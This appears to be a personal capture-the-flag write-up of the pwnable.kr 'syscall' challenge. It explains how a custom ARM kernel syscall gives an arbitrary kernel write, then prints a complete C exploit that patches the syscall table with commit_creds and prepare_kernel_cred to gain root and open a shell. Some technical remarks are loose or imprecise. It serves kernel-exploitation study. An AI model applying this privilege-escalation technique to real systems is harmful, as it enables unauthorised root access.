005

4/16/21

pwnable.kr - syscall - 4/16/21

exploiting a custom syscall :)

when we ssh, we are presented with a kernel object with the name of o. I am assuming that this already exists within this system. Something that should also be noted is that this system's architecture is 32 bit armv7l, which means we may need some knowledge on the differences between each of these architectures.

in this case, we are still on a linux system, so everything is essentially the same besides the wacky architecture. Our new system call is call sys_upper, and we are provided the source code to the system call implemented within the remote system, and the kernel object file.

it seems as though sys_upper will convert a string to upper case. I do not see why a kernel would need such a capability but this is a fun introduction to kernel exploitation so i guess it makes sense.

it will allow 2 parameters from userspace, char in and char out. an input string and an output string, this is something that should not be used, never take unchecked input from userland!!

it should be noted, that it will write what we want, to whereever we want it to. we might be able to provide a pointer to some area in memory with in, and it will write it to out, but we can make out point to wherever we want it to.

sys_upper(number : 223) is added

cool, so we have syscall 223, sys_upper

if we were to "cat /proc/sys/kernel/kptr_restrict", we will be able to notice that it has been disabled. This means that we are allowed to resolve kernel symbols from userspace, which means we are allowed to access names, which point to a location in memory that corresponds to that name(symbol).

So we know we have a write what where primitive within ring 0, but where to?

lets take a step back and inspect the internals in how the kernel will translate, resolve, and interpret each of our system calls. How will our kernel understand what to do after a system call is called? These syscalls work as a sort of API for the operating system on the lowest level, there will be certain calling conventions for different platforms, but with linux x86/x86_64 it will almost always be exclusive to cdecl

x86:
eax      - syscall
ebx      - parameter 1
ecx      - parameter 2
edx      - parameter 3
int 0x80 - interrupt

x86_64:
rax      - syscall
rdi      - parameter 1
rsi      - parameter 2
rdx      - parameter 3
syscall  - interrupt

that is the convention in which parameters are passed to not only functions, but to system calls as well. Now we understand how to pass and call system calls!, but how will the kernel understand? The kernel faces the same dillema as dynamic binaries, in which it does not know where in memory their function, or in this case, module will be loaded. In the userland, we have the Global Offset Table, Procedure Linkage Table, and __dl_runtime_resolve, but what about the kernel? If it were to follow the same process as userland dynamic binaries, that would cause MASSIVE security issues.

So kernel modules will run within it's own virtual memory, and this may seem a bit confusing at first until we remember that the kernel IS A PROGRAM that will run underneath the operating system or at least our userland interface. Since it is a program, it will have inspectable memory mappings that we can view or modify, since everythin is a file in linux.

when we check the remote system's /proc/kallsyms, which contains all the kernel's symbols, and the symbols from each module that had been imported when the kernel booted. Something that should be noted is that we now know where each of these functions reside in memory, which will allow us to view what functions we think are tasty. This however will not work if KASLR is enabled, but luckily it has been turned off, so we can hardcode addresses instead of dynamically resolving them. At least i think so..

So now that we understand the vulnerablilties that are within this system call, we can begin to attempt to priv esc to ring 0.

  1. KASLR is off, and we can view symbols of virtual kernel space, define important addresses like our

    system call table, our sys_upper syscall, and our two system calls that will allow us to retain our

    priviledges, commit_creds and prepare_kernel_cred

  2. write NOPS to a area of writeable memory

  3. write commit_creds to the 25th index of SYS_CALL_TABLE

  4. write prepare_kernel_cred to 13th index of SYS_CALL_TABLE

  5. update our cred table and return peacefully with "syscall(25,syscall(13,0));"

  6. We now have root perms, we can do whatever we want now!

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <string.h>
#define PAGE_SIZE 0x1000
// must be compiled on remote host, is ARM arch, will not work if compiled here!!!
#define SYS_UPPER_INT  223
#define SYS_UPPER      0x7f000000

#define SYS_CALL_TABLE 0x8000e348

#define PREPARE_KERNEL_CRED    0x8003f924
#define COMMIT_CREDS           0x8003f56c

void sys_upper(char* in, char* out){ // sys_upper does not have c function wrapper, must make custom one
    syscall(SYS_UPPER_INT, in, out);
}
int main(int argc,char**argv) {
    unsigned int** sct=(unsigned int**)SYS_CALL_TABLE;
    sys_upper("\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1", 0x8003f560);
    sys_upper("\x60\xf5\x03\x80", &sct[25]); //commit_creds 0x8003f56c
    sys_upper("\x24\xf9\x03\x80", &sct[13]); //prepare_kernel_cred 0x8003f924
    // commit_creds(prepare_kernel_cred(0));
    syscall(25, syscall(13,0));
    (getuid()!=0) ? puts("Somethin broke!\n") : puts("poppin shell!\n"); system("/bin/sh");
    return 0;
}

sources:

https://0xax.gitbooks.io/linux-insides/content/SysCall/linux-syscall-2.html https://elinux.org/Kernel_dynamic_memory_analysis https://unix.stackexchange.com/questions/421750/where-do-you-find-the-syscall-table-for-linux https://filippo.io/linux-syscall-table/ http://books.gigatux.nl/mirror/networksecuritytools/0596007949/networkst-CHP-7-SECT-2.html https://www.senet-int.com/blog/2017/1/elementary-kernel-exploitation https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/ https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/ https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/

Last updated